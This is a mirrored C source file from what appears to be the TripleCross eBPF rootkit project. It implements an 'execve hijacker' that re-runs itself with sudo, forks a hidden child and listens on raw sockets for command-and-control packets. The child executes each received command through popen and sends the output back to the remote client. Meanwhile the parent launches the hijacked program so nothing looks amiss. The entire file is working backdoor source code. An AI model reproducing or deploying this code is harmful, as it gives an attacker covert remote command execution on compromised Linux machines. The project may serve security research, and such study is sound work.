mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-16 23:33:06 +08:00
343 lines
9.4 KiB
C
343 lines
9.4 KiB
C
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <time.h>
|
|
#include <sys/wait.h>
|
|
#include <bpf/bpf.h>
|
|
#include <bpf/libbpf.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/socket.h>
|
|
#include <netdb.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/tcp.h>
|
|
#include <sys/file.h>
|
|
#include <errno.h>
|
|
#include <syslog.h>
|
|
#include <dlfcn.h>
|
|
#include <sys/timerfd.h>
|
|
#include <ifaddrs.h>
|
|
#include <linux/if_link.h>
|
|
|
|
#include "lib/RawTCP.h"
|
|
#include "../common/c&c.h"
|
|
#include <linux/bpf.h>
|
|
#include <bpf/bpf.h>
|
|
#include <bpf/libbpf.h>
|
|
|
|
#define LOCK_FILE "/tmp/rootlog"
|
|
#define DEFAULT_NETWORK_INTERFACE "enp0s3"
|
|
|
|
int test_time_values_injection(){
|
|
|
|
struct itimerspec new_value, new_value2;
|
|
int max_exp, fd, fd2;
|
|
struct timespec now;
|
|
uint64_t exp, tot_exp;
|
|
ssize_t s;
|
|
|
|
|
|
fd = timerfd_create(CLOCK_REALTIME, 0);
|
|
if (fd == -1)
|
|
return -1;
|
|
|
|
new_value.it_interval.tv_sec = 30;
|
|
new_value.it_interval.tv_nsec = 0;
|
|
|
|
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
|
|
return -1;
|
|
|
|
fd2 = timerfd_create(CLOCK_REALTIME, 0);
|
|
if (fd2 == -1)
|
|
return -1;
|
|
|
|
new_value2.it_interval.tv_sec = 30;
|
|
new_value2.it_interval.tv_nsec = 0;
|
|
|
|
if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
|
|
return -1;
|
|
|
|
|
|
printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
char* execute_command(char* command){
|
|
FILE *fp;
|
|
char* res = calloc(4096, sizeof(char));
|
|
char buf[1024];
|
|
|
|
fp = popen(command, "r");
|
|
if(fp == NULL) {
|
|
printf("Failed to run command\n" );
|
|
return "COMMAND ERROR";
|
|
}
|
|
|
|
while(fgets(buf, sizeof(buf), fp) != NULL) {
|
|
strcat(res, buf);
|
|
}
|
|
printf("RESULT OF COMMAND: %s\n", res);
|
|
|
|
pclose(fp);
|
|
return res;
|
|
}
|
|
|
|
|
|
/**
|
|
* @brief Improved version of getting local IP
|
|
* Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
|
|
*
|
|
* @return char*
|
|
*/
|
|
char* getLocalIpAddress(){
|
|
char hostbuffer[256];
|
|
char* IPbuffer = calloc(256, sizeof(char));
|
|
struct hostent *host_entry;
|
|
int hostname;
|
|
|
|
struct ifaddrs *ifaddr;
|
|
int family, s;
|
|
char host[NI_MAXHOST];
|
|
|
|
if (getifaddrs(&ifaddr) == -1) {
|
|
perror("getifaddrs");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
/* Walk through linked list, maintaining head pointer so we
|
|
can free list later. */
|
|
|
|
for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
|
|
if (ifa->ifa_addr == NULL)
|
|
continue;
|
|
|
|
family = ifa->ifa_addr->sa_family;
|
|
|
|
/* Display interface name and family (including symbolic
|
|
form of the latter for the common families). */
|
|
|
|
//printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(family == AF_INET) ? "AF_INET" :(family == AF_INET6) ? "AF_INET6" : "???",family);
|
|
/* For an AF_INET* interface address, display the address. */
|
|
|
|
if (family == AF_INET || family == AF_INET6) {
|
|
s = getnameinfo(ifa->ifa_addr,
|
|
(family == AF_INET) ? sizeof(struct sockaddr_in) :
|
|
sizeof(struct sockaddr_in6),
|
|
host, NI_MAXHOST,
|
|
NULL, 0, NI_NUMERICHOST);
|
|
if (s != 0) {
|
|
printf("getnameinfo() failed: %s\n", gai_strerror(s));
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
//printf("\t\taddress: <%s>\n", host);
|
|
if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
|
|
//Interface we chose
|
|
printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
|
|
strcpy(IPbuffer, host);
|
|
return IPbuffer;
|
|
}
|
|
}
|
|
|
|
}
|
|
|
|
freeifaddrs(ifaddr);
|
|
|
|
exit(-1);
|
|
}
|
|
|
|
char* getLocalIpAddress_old(){
|
|
char hostbuffer[256];
|
|
char* IPbuffer = calloc(256, sizeof(char));
|
|
struct hostent *host_entry;
|
|
int hostname;
|
|
|
|
hostname = gethostname(hostbuffer, sizeof(hostbuffer));
|
|
if(hostname==-1){
|
|
exit(1);
|
|
}
|
|
|
|
host_entry = gethostbyname(hostbuffer);
|
|
if(host_entry == NULL){
|
|
exit(1);
|
|
}
|
|
|
|
// To convert an Internet network
|
|
// address into ASCII string
|
|
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));
|
|
|
|
return IPbuffer;
|
|
}
|
|
//test_time_values_injection();
|
|
|
|
int hijacker_process_routine(int argc, char* argv[], int fd){
|
|
//Lock the file to indicate we are already into the routine
|
|
time_t rawtime;
|
|
struct tm * timeinfo;
|
|
|
|
time ( &rawtime );
|
|
timeinfo = localtime ( &rawtime );
|
|
char* timestr = asctime(timeinfo);
|
|
|
|
int ii = 0;
|
|
while(*(timestr+ii)!='\0'){
|
|
write(fd, timestr+ii, 1);
|
|
ii++;
|
|
}
|
|
write(fd, "\t", 1);
|
|
|
|
for(int jj = 0; jj<argc; jj++){
|
|
ii = 0;
|
|
while(*(argv[jj]+ii)!='\0'){
|
|
write(fd, argv[jj]+ii, 1);
|
|
ii++;
|
|
}
|
|
write(fd, "\t", 1);
|
|
}
|
|
|
|
write(fd, "\n", 1);
|
|
write(fd, "Sniffing...\n", 13);
|
|
|
|
printf("Running hijacking process\n");
|
|
packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
|
|
if(packet.ipheader == NULL){
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
return -1;
|
|
}
|
|
write(fd, "Sniffed\n", 9);
|
|
//TODO GET THE IP FROM THE BACKDOOR CLIENT
|
|
char* local_ip = getLocalIpAddress();
|
|
char remote_ip[16];
|
|
inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
|
|
printf("IP: %s\n", local_ip);
|
|
|
|
packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, CC_PROT_ACK);
|
|
if(rawsocket_send(packet_ack)<0){
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
close(fd);
|
|
return -1;
|
|
}
|
|
|
|
//Start of pseudo connection with the rootkit client
|
|
int connection_close = 0;
|
|
while(!connection_close){
|
|
packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
|
|
printf("Received client message\n");
|
|
char* payload = packet.payload;
|
|
char *p;
|
|
p = strtok(payload, "#");
|
|
p = strtok(NULL, "#");
|
|
if(p){
|
|
if(strcmp(p, CC_PROT_FIN_PART)==0){
|
|
printf("Connection closed by request\n");
|
|
connection_close = 1;
|
|
}else{
|
|
printf("Received request: %s\n", p);
|
|
char* res = execute_command(p);
|
|
char* payload_buf = calloc(4096, sizeof(char));
|
|
strcpy(payload_buf, CC_PROT_MSG);
|
|
strcat(payload_buf, res);
|
|
packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096, payload_buf);
|
|
if(rawsocket_send(packet_res)<0){
|
|
write(fd, "Failed to open rawsocket\n", 1);
|
|
close(fd);
|
|
return -1;
|
|
}
|
|
free(payload_buf);
|
|
free(res);
|
|
}
|
|
}
|
|
}
|
|
|
|
flock(fd, LOCK_UN);
|
|
close(fd);
|
|
return 0;
|
|
}
|
|
|
|
|
|
int main(int argc, char* argv[], char *envp[]){
|
|
printf("Malicious program execve hijacker executed\n");
|
|
for(int ii=0; ii<argc; ii++){
|
|
//printf("Argument %i is %s\n", ii, argv[ii]);
|
|
}
|
|
|
|
if(geteuid() != 0){
|
|
//We do not have privileges, but we do want them. Let's rerun the program now.
|
|
char* args[argc+3];
|
|
args[0] = "sudo";
|
|
args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
|
|
//printf("execve ARGS%i: %s\n", 0, args[0]);
|
|
//printf("execve ARGS%i: %s\n", 1, args[1]);
|
|
for(int ii=0; ii<argc; ii++){
|
|
args[ii+2] = argv[ii];
|
|
//printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
|
|
}
|
|
args[argc+2] = NULL;
|
|
|
|
if(execve("/usr/bin/sudo", args, envp)<0){
|
|
perror("Failed to execve()");
|
|
exit(-1);
|
|
}
|
|
exit(0);
|
|
}
|
|
|
|
|
|
//We proceed to fork() and exec the original program, whilst also executing the one we
|
|
//ordered to execute via the network backdoor
|
|
pid_t pid = fork();
|
|
|
|
if (pid < 0) {
|
|
perror("Fork failed");
|
|
}
|
|
if (pid == 0) {
|
|
setsid();
|
|
//Child process
|
|
printf("Malicious program child executed with pid %d\n", (int) getpid());
|
|
|
|
//First of all check if the locking log file is locked, which indicates that the backdoor process is already running
|
|
int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
|
|
if(fd<0){
|
|
perror("Failed to open lock file before entering hijacking routine");
|
|
exit(-1);
|
|
}
|
|
if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
|
|
if (errno == EWOULDBLOCK) {
|
|
perror("lock file was locked");
|
|
} else {
|
|
perror("Error with the lockfile");
|
|
}
|
|
exit(-1);
|
|
}
|
|
hijacker_process_routine(argc, argv, fd);
|
|
printf("Child process is exiting\n");
|
|
exit(0);
|
|
}
|
|
//Parent process. Call original hijacked command
|
|
char* hij_args[argc];
|
|
hij_args[0] = argv[1];
|
|
syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
|
|
for(int ii=0; ii<argc-2; ii++){
|
|
hij_args[ii+1] = argv[ii+2];
|
|
syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
|
|
}
|
|
hij_args[argc-1] = NULL;
|
|
|
|
if(execve(argv[1], hij_args, envp)<0){
|
|
perror("Failed to execve() originally hijacked process");
|
|
exit(-1);
|
|
}
|
|
|
|
wait(NULL);
|
|
printf("parent process is exiting\n");
|
|
return(0);
|
|
|
|
|
|
|
|
} |